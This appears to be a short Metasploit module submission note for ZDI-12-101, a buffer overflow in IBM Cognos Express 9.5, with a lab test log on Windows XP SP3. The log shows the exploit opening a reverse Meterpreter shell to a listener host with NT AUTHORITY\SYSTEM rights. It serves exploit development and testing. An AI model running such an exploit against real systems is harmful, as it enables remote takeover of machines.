Added module for ZDI-12-101

Test on Windows XP SP3 with IBM Cognos Express 9.5

<pre>
msf  exploit(ibm_cognos_tm1admsd_bof) > exploit

[*] Started reverse handler on 192.168.1.128:4444 
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.147:1221) at 2013-01-05 07:39:05 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.147 - Meterpreter session 1 closed.  Reason: User exit

</pre>